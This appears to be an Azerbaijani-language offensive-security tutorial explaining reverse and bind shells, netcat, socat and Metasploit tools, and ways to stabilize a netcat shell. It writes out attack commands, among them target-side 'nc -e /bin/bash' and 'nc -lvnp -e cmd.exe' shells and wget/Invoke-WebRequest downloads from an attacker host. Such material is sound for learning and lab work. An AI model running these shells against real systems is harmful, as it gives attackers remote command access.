💻Shell (Kompüter)

Shell nədir

Shell göndərmə və alma mövzusuna girməzdən əvvəl, shell-in nə olduğunu anlamalıyıq. Mümkün olan ən sadə dildə desək, shell, CLI (Command Line Interface) ilə interfeys yaradarkən istifadə etdiyimiz şeydir. Shell nümunələri: Linux-dakı bash sh proqramları, Windows-da cmd.exePowershell.

Uzaq sistemləri hədəfə alarkən bəzən serverdə (məs. bir veb serverdə) işləyən bir tətbiqi təsadüfi kodu icra etməyə məcbur etmək mümkündür. Bu baş verdikdə, hədəfdə işləyən shell-i əldə etmək üçün bu ilk müraciəti istifadə etmək istəyirik. Daha anlaşılan dildə desək, hədəf sistemdəki bir təhlükəsiz boşluğundan faydalanaraq sistemə müraciət edə bilsək, etməli olduğumuz növbəti addım bir shell əldə etməkdir. Bunun sayəsində daha çox əmrlər icra edərək hədəf sistemdə daha çox nəzarətə sahib ola bilərik.

Reverse shell: Uzaqdakı bir serverə hücum edərək o serverin bizlə bağlantı qurmasını təmin edə bilərik. Bu bağlantı sayəsində, serverdəki "command line"a müraciət edə bilərik. Yəni server bizə bağlanır və biz əmrləri uzaqdan çalışdıra bilərik.

Bind shell: Digər bir seçim isə, serverin üzərində bir port açmaqdır. Bu port üzərindən serverə bağlanaraq əmrləri icra edə bilərik. Yəni server bir qapı açır və biz o qapıdan girərək əmrləri veririk.

Alətlər

Reverse shell almaq və bind shell göndərmək üçün istifadə edəcəyimiz müxtəlif alətlər var. Ümumilikdə, zərərli shell koduna və ortaya çıxan shell ilə interfeys yaratmağın bir yoluna ehtiyacımız var.

Netcat

Şəbəkələşmədə ənənəvi "Swiss Army Knife" olaraq bilinir. zamanı kimi şeylər də daxil olmaqla hər növ şəbəkə interaksiyasını manual icra etmək üçün istifadə olunur. Ancaq biz daha çox reverse shell əldə etmək və hədəf sistemdəki "bind shell"ə bağlanmış remote portlara bağlanmaq üçün istifadə edəcəyik. Netcal shell-ləri ilkin olaraq qeyri-stabildir (itirilməsi asandır).

Socat

Netcat kimi eyni şeylərin hamısını və daha çoxunu edə bilər. Netcat shell-lərindən daha stabildir. Ancaq iki mənfi cəhəti var:

  • Sintaksisi çox çətindir.

  • Netcat, demək olar ki, bir çox Linux dist.-da quraşdırılıb. Socat, nadir hallarda ilkin olaraq qurulu gəlir.

Metasploit -- multi/handler

Metasploit framework-ünün exploit/multi/handler modulu socat netcat kimi reverse shell-ləri almaq üçün istifadə olunur. Metasploit framework-ün bir hissəsi olan multi/handler aləti, stabil shell əldə etmək üçün əhatəli bir yol təqdim edir. Bu alət, yaxalanmış shell-i təkmilləşdirmək üçün əlavə bir neçə seçim verir. Həmçinin, meterpreter shell ilə qarşılıqlı əlaqə qurmağın tək yolu və staged payload-larını ələ almağın ən asan yoludur.

Msfvenom

multi/handler kimi, msfvenom da texniki olaraq Metasploit framework-ün bir hissəsidir, ancaq müstəqil bir alət olaraq təqdim edilir. Msfvenom, payload yaratmaq üçün istifadə olunur. Msfvenom, reverse və bind shell-lər xaricində fərqli payload-lar da yarada bilir.

Shell növləri

Əgər mövzu bir hədəfi expoit etməkdirsə iki növ shell ilə maraqlanırıq: Reverse shellBind shell.

Reverse Shell

Hədəf kompüterin sizin kompüterinizə bağlanmasını təmin edən bir üsuldur. Niyə hədəf kompüterin sizin kompüterinizə? Çünki adından göründüyü kimi bu "reverse", yəni tərs shell-dir. Normalda öz kompüterinizdən hədəf kompüterə doğru bağlantı qurursunuz. Ancaq, reverse shell-də bu proses tərsinədir, yəni hədəf kompüter sizin kompüterinizə bağlanır.

Bu üsul, firewall, içəri doğru (xaricdən gələn) yəni, sizin kompüterinizdən gələn bağlantıları əngəllədikdə istifadə olunur. Çünki, firewall-lar adətən çölə doğru (daxildən xaricə) gedən bağlantıları əngəlləmir. Beləliklə, firewall, hədəf cihazın başlatdığı bir bağlantıya icazə verir.

Öz kompüterinizdə bir bağlantını dinləmək üçün yuxarıda qeyd olunan alətlərdən birini istifadə edərək bir "listener" (dinləyici) qurursunuz və bu dinləyici, hədəf kompüterin bağlantısını alır. Bunun üçün:

  • Hədəf cihazda (target) reverse shell payload-ı işə salınır. Bu, hədəf cihazın sizin cihazınıza bağlanması üçün lazım olan kodu ehtiva edir.

  • Bizim cihazda (attacker) bir listener qurulur. Bu listener, müəyyən bir portu dinləyir və bu port üzərindən gələn bağlantıları qəbul edir. Listener, adətən attacker-in kompüterində çalışdırılan bir alət tərəfindən təmin edilir.

  • Hədəf cihaz, reverse shell payload-ı çalışdırır. Bu payload, listener olan bizim cihazımızla bağlantı qurur. Bu bağlantı, hədəf cihazdan gələn shell əmrlərini bizim cihazımıza yönləndirir və attacker-in hədəf cihazda əmrlər icra etməsini təmin edir.

  • Hədəf cihazdan gələn əmrlər və nəticələr, listener tərəfindən alınır və müvafiq cavablar hədəf cihaza geri qaytarılır.

Qısaca desək, reverse shell bağlantısı vasitəsilə əmrlər yazırsınız. Bu əmrlər, hədəf cihazda icra ediləcək əmrlərdir. Bu əmrlər, reverse shell üzərindən hədəf cihaza yönləndirilir. Hədəf cihaz, bu əmrləri icra edir. İcra edilən əmrlərin nəticələri (output) bizim cihaza göndərilir. Cihazımızdakı listener, hədəf cihazdan gələn nəticələri alır və bizə göstərir.

Reverse shell, hədəf kompüterlərdəki müəyyən portlara birbaşa bağlanmağınızı əngəlləyən firewall qaydalarını aşmaq üçün bir üsuldur. Ancaq, internet üzərindən bir bağlantı aldıqda, öz şəbəkənizi bu bağlantını qəbul edəcək formada konfiqurasiya etməyiniz lazımdır. Bu nə deməkdir?

Əgər cihazınızda firewall və ya NAT (Network Address Translation) varsa, bu bağlantı tələblərinin necə idarə edildiyi vacib məsələdir. Firewall adətən xaricdən gələn bağlantıları əngəlləyir. NAT, daxili şəbəkədəki cihazları, xaricdən gələn request-lərdən izolyasiya edir. Bu səbəbdən Reverse shell bağlantısını qurarkən öz şəbəkənizi də düzgün konfiqurasiya etməlisiniz.

  • Port açma: Əgər Reverse shell bağlantısı müəyyən bir port üzərindən həyata keçirilirsə, bu port firewall-da açıq olmalıdır. Əks halda, hədəf cihazın bağlantı tələbinə rədd cavabı verilir.

  • Port yönləndirmə: Əgər NAT və ya ruter istifadə edirsinizsə, hədəf cihazın sizin cihazınızla bağlantı qura bilməsi üçün port yönləndirmə ayarlarını etməyiniz lazımdır.

  • Firewall qaydaları: Bu qaydaları, Reverse shell-ə icazə verəcək şəkildə konfiqurasiya etmək və doğru portları açmaq lazımdır ki, xaricdən gələn bağlantılara icazə verilsin.

Reverse shell, Bind shell-ə nisbətən daha geniş yayılıb. Aşağıdakı nümunəyə baxaq. Sol tərəf, listener olaraq bağlantını qəbul edən tərəfdir, yəni bizim cihazdır. Sağ tərəf, Reverse shell göndərən tərəfdir, daha doğrusu hədəf cihazdır.

Öz cihazımızda sudo nc -lvnp 443 yazaraq, listening rejiminə keçirik. Daha sonra hədəf cihazda nc -e /bin/bash görünür.

Bind Shell

Hədəf cihazda kod icra edildikdən sonra, listener-in hədəf cihazda başladıldığı shell növüdür. Bu listener, hədəf cihazda müəyyən bir portda çalışır və xaricdən gələn bağlantıları qəbul edir. Beləliklə, hədəf sistem, bu porta bağlanan istənilən client üçün shell müraciətini təmin edir. Bunun üçün, biz, öz kompüterimizdən bu açılmış porta bağlanaraq əmrlər göndərib hədəf sistemdə işləməsini təmin edirik.

Müsbət tərəfi odur ki, öz şəbəkəmizdə (firewall və ya şəbəkə ayarlarında) heç bir konfiqurasiya etməyimizə ehtiyac yoxdur. Mənfi tərəfi odur ki, hədəf sistemdəki firewall və ya şəbəkə konfiqurasiyası xaricdən gələn bu bağlantıları əngəlləyə bilər. Bu da, bağlantının qurulmasını çətinləşdirir.

Bind shell daha az yayılıb, ancaq çox yararlıdır. Aşağıdakı görüntüyə nəzər salın. Sol tərəfdəki attacker-in cihazıdır, sağ tərəfdəki isə Windows istifadə edən hədəf cihazdır. Əvvəlcə hədəf cihazda bir listener başladırıq və eyni zamanda cmd.exe icra etməsini tələb edirik. Daha sonra listener işlək halda olarkən öz maşınımızdan yeni açılmış porta bağlanırıq.

Hədəf cihazda: nc -lvnp -e "cmd.exe"

Bizim cihazımızda: nc MACHINE_IP

Buradakı əsas məqsədimiz hədəfi listening edib öz cihazımızla ona bağlanmağımızdır.

İnteraktiv və qeyri-interaktiv shell-lər

Shell-lər interaktiv və qeyri-interaktiv ola bilər.

  • İnteraktiv shell: Powershell, Bash, Zsh, sh və ya digər standart CLI istifadə etmisinizsə, interaktiv shell-lərə alışmısınız. Bunlar, proqramı çalışdırdıqdan sonra onlarla qarşılıqlı əlaqə qurmağınıza imkan verir. Məsələn, SSH giriş tələbini görək. Burada, istifadəçinin interaktiv olaraq bağlantını davam etdirmək istəyib-istəmədiyini soruşur:

  • Qeyri-interaktiv shell: Yuxarıdakı imkana sahib deyil. Burada, düzgün işləməsi üçün istifadəçi ilə qarşılıqlı əlaqə tələb etməyən proqramları istifadə edirsiniz. Təəssüf ki, sadə reverse bind shell-lərinin əksəriyyəti qeyri-interaktivdir, bu da exploit prosesini çətinləşdirir. Qeyri-interaktiv shell-də əmrləri icra etməyə çalışaq. Burada qeyri-interaktiv whoami əmri düzgün şəkildə işləyir və nəticəsini göstərir. Ancaq, interaktiv olan ssh əmri heç bir output vermir. Maraqlı tərəfi də odur ki, interaktiv əmrin nəticəsi harasa göndərilir. Bununla da interaktiv proqramların qeyri-interaktiv shell-lərdə işləmədiyini demək yetərlidir.

Netcat istifadəsi

Reverse Shell

Reverse shell, yuxarıda qeyd etdiyimiz kimi shellcode listener tələb edir. Bir shell başlatmağın bir çox yolu var, ona görə də listener ilə başlıyaq.

Linux istifadə edərək netcat listener başlatmaq üçün aşağıdakı əmri yazmalıyıq:

nc -lvnp <port-nömrəsi>

Bu, nc (netcat) alətini istifadə edərək bir listener başladır. İndi hər bir parametri incələyək:

  • -l, netcat-a bunun listener olduğunu bildirir. Yəni nc alətinə listener kimi işləməsini deyir. Beləliklə qeyd olunan port üzərindən bağlantıları qəbul edir.

  • -v, detallı bir output tələb etmək üçün istifadə olunur.

  • -n, netcat-a host adlarını resolve etməməsini və ya DNS istifadə etməməsini bildirir. Yəni, bu parametr ilə nc, DNS serverə getmədən birbaşa IP ünvan ilə işləyəcək. Daha sürətli və birbaşa bağlantı üçün faydalıdır.

  • -p, qeyd ediləcək port spesifikasiyasını dinləmək lazım olduğunu bildirir.

Normalda, hər hansısa xidmət tərəfindən istifadə olunmayan istənilən portu istifadə etmək olar. 1024-dən aşağı istənilən portu seçsəniz, listener-i başladarkən sudo istifadə etmək lazım gələcək. Bu, Unix əsaslı sistemlərdə təhlükəsizlik tələbi olaraq həyata keçirilir. Çünki 1024-dən kiçik olan portlar adətən sistem tərəfindən idarə edilən xidmətlər üçün ayrılıb.

Geniş yayılmış portları (80, 443 və ya 53 kimi) istifadə etmək yaxşı fikirdir. Çünki bu portlar, adətən hədəf sistemdəki firewall-lar tərəfindən icazə verilən portlardır. Firewall-lar çox vaxt bilinməyən portları əngəlləyir, ancaq çoxbilinən portlar, normalda internet trafiki üçün istifadə edildiyinə görə adətən sərbəst buraxılır. İstifadə nümunəsi:

sudo nc -lvnp 443

Daha sonra hədəfin mühitindən asılı olaraq, hər hansısa payload sayı ilə buna təkrar bağlana bilərik.

Bind Shell

Əgər hədəfdə Bind shell əldə etmək istəyirsinizsə, onda fərz edək ki, hədəfin seçilmiş portunda bizi gözləyən bir listener var. Bunun sadəcə o porta bağlanmalıyıq:

nc <hədəf-ünvan> <seçilmiş-port>

Burada netcat-ı seçdiyimiz portdakı hədəfə gedən bağlantını qurmaq üçün istifadə edirik.

Netcat Shell Stabilizasiyası

Deyək ki, bir netcat shell yaxalaya və ya ona bağlana bildik. Növbəti addım nədir?

Bu shell-lər ilkin olaraq qeyri-stabildir. CTLR+C ilə hər şeyi bitirmək mümkündür. Qeyri-interaktivdirlər və tez-tez qəribə formatlama xətalarına sahibdirlər. Bunun səbəbi netcat "shell"lərinin əslində bir terminalın içində çalışan proseslər olmasıdır. Ancaq tam mənada terminal deyil. Bu səbəbdən normal terminaldan fərqli olaraq istifadəsi çətin gələ bilər.

Nə yaxşı ki, Linux sistemlərində netcat shell-lərini stabilləşdirmək mümkündür. Bəs stabilləşdirmə nə deməkdir?

  • Shell stabilləşdirmə: Bu cür qeyri-stabil və qeyri-interaktiv shell-ləri, daha stabil və interaktiv hala gətirmə prosesinə stabilləşdirmə deyilir. Stabil bir shell ilə əmrləri daha düzgün icra edə və xətaların qarşısını ala bilərsiniz.

  • Linux-da bu cür shell-ləri stabilləşdirməyin bir neçə yolu var. Windows-da shell stabilləşdirmə çətindir, ancaq danışacağımız ikinci texnika daha faydalı olacaq.

1-ci texnika: Python

Bu texnika hər zaman Python (ilkin olaraq) qurulu gəldiyi üçün yalnız Linux-da tətbiq oluna bilər. Üç mərhələdən ibarətdir.

  1. İlk addım, daha funksional bir bash shell yaratmaq üçün python -c 'import pty;pty.spawn("/bin/bash")' istifadə etməkdir. Bu əmr, Python-u istifadə edərək daha qabaqcıl özəlliklərə sahib bir bash shell yaradır. Ancaq, bəzi hədəf sistemlərdə Python versiyasını qeyd etmək lazım gələ bilər. Bu halda, ehtiyacınıza görə python-u python2 və ya python3 ilə əvəz edə bilərsiniz. Beləliklə, shell-imiz daha düzgün görünəcək. Ancaq yenə də, TAB düyməsi ilə avto-tamamlama və ox düymələri işləməyəcək və CTRL+C kombinasiyası shell-i bağlayacaq.

  2. Növbəti addım export TERM=xterm yazmaqdır. Bununla, clear kimi terminal əmrlərinə müraciət edə biləcəyik.

  3. Sonda və ən önəmlisi CTRL+Z ilə shell-in arxaplana alacağıq. Öz terminalımıza qayıdaraq stty raw -echo; fg əmrini istifadə edirik. Bu iki prosesi icra edir: birincisi, öz terminalımızda echo-nu söndürür və beləliklə TAB düyməsi ilə avto-tamamlama, ox düymələri işləyir və CTRL+C kombinasiyası ilə proses sonlandırma prosesini icra edə bilərik. (echo-nu söndürmə: yazdığımız əmrlərin ekranda görünməsini əngəlləyir)

Texnikanın tamamına aşağıdakı şəkildən baxın.

Unutmayın ki, shell (yəni hədəf cihazda əldə etdiyimiz command line müraciəti) sönsə və ya bağlantı kəsilsə, öz terminalınızda yazdığınız əmrlər yenə də görünməz olacaq. Çünki icra etdiyimiz stty raw -echo əmri ilə echo-nu söndürmüşdük. Bunu düzəltmək üçün reset yazırıq və terminal ilkin ayarlarına qayıdır.

2-ci texnika: rlwrap

rlwrap, sadə dildə desək, shell müraciətini əldə edən kimi tarixçəyə, TAB ilə avto-tamamlamağa və ox düymələrinə müraciət təmin edən bir proqramdır. Ancaq, shell daxilində CTRL+C istifadə edə bilmək istəsəniz, yenə də manual stabilləşdirmələr etməlisiniz. rlwrap, Kali-də ilkin olaraq qurulu gəlmədiyi üçün əvvəlcə sudo apt install rlwrap ilə quraşdırılmalıdır. rlwrap istifadə etmək üçün fərqli bir dinləyici qururuq:

rlwrap nc -lvnp <port>

Netcat dinləyicimizi rlwrap ilə hazırlamaq, bizə tam özəllikli bir shell verəcək. Bu texnika, xüsusilə stabilləşdirilməsi çətin olan Windows shell-ləri ilə işləyərkən faydalıdır. Əgər hədəfimizdəki cihaz Linux-dursa, əvvəlki texnikanın üçüncü addımı ilə stabilləşdirmə prosesini icra etmək mümkündür: CTRL+Z ilə shell-i arxaplana alırıq, sonra stabilləşdirmək və shell-ə təkrar daxil olmaq üçün stty raw -echo; fg istifadə edirik.

3-cü texnika: Socat

Üçüncü asan yol, daha funksional socat shell-inə keçid etmək üçün netcat shell-ini bir pilləkan olaraq istifadə etməkdir. Bu texnika, hədəfdəki cihazın yalnız Linux olması ilə məhduddur. Çünki, Windows-dakı bir Socat shell-i, netcat shell-indən daha stabil olmayacaq. Bu stabilləşdirmə üsulunu həyata keçirmək üçün Socat-ın statik olaraq compile edilmiş binary faylını (yəni, proqramın heç bir asılılığı olmayacaq şəkildə compile edilmiş versiyasını) hədəf maşına ötürməliyik. Buna nail olmağın tipik bir yolu, hücumu həyata keçirən maşındakı socat binary faylının olduğu directory-də veb server istifadə etmək (sudo python3 -m http.server 80), sonra hədəf maşında netcat shell-ini istifadə edərək faylı endirməkdir. Linux-da bu proses, curl və wget ilə həyata keçirilir (wget <LOCAL-IP>/socat -O /tmp/socat).

Tamlıq naminə: Windows CLI mühitində də eyni şeyi, Powershell-in qurulmuş versiyasından asılı olaraq ya Invoke-WebRequest, ya da webrequest system class istifadə edərək Powershell ilə həyata keçirilə bilər. (Invoke-WebRequest -uri <LOCAL-IP>/socat.exe -outfile C:\\Windows\temp\socat.exe)

Yuxarıda göstərilən texnikalardan hər hansısa biri ilə terminalınızın tty ölçüsünü dəyişdirə bilmək faydalıdır. Bu, terminalınız normal shell istifadə edərkən avtomatik olaraq edə biləcəyi şeydir. Ancaq, ekrandakı hər şeyin üzərinə yazan bir mətn redaktoru kimi bir şey istifadə etmək istəyirsinizə, reverse və ya bind shell-də manual olaraq edilməsi lazımdır.

İlk olaraq, başqa bir terminal açın və stty -a əmrini icra edin. Bununla, geniş bir output alacaqsınız. Sətir və sütunların dəyərini qeyd edin.

Sonra, reverse/bind shell-inizdə bunları yazın:

stty rows <number>stty cols <number>

Əldə etdiyiniz sayları yazaraq əmrləri shell ilə bağlandığımız hədəf cihazın terminalında icra edin. Bu, terminalın saxlanılmış en və hündürlük dəyərlərini dəyişdirəcək, beləliklə hədəf cihazda aça biləcəyimiz mətn redaktorları kimi (ölçüyə əsaslanan) proqramlar düzgün işləyəcək. Əgər, bu ölçülər düzgün ayarlanmasa, shell-inizdə mətn redaktoru açsanız, görüntü pozula və ya proqram düzgün işləməyə bilər. Buna görə də, terminal ölçülərinin düzgün ayarlanması, shell-də işə saldığınız proqramların düzgün işləməsini təmin edir.

Socat

Last updated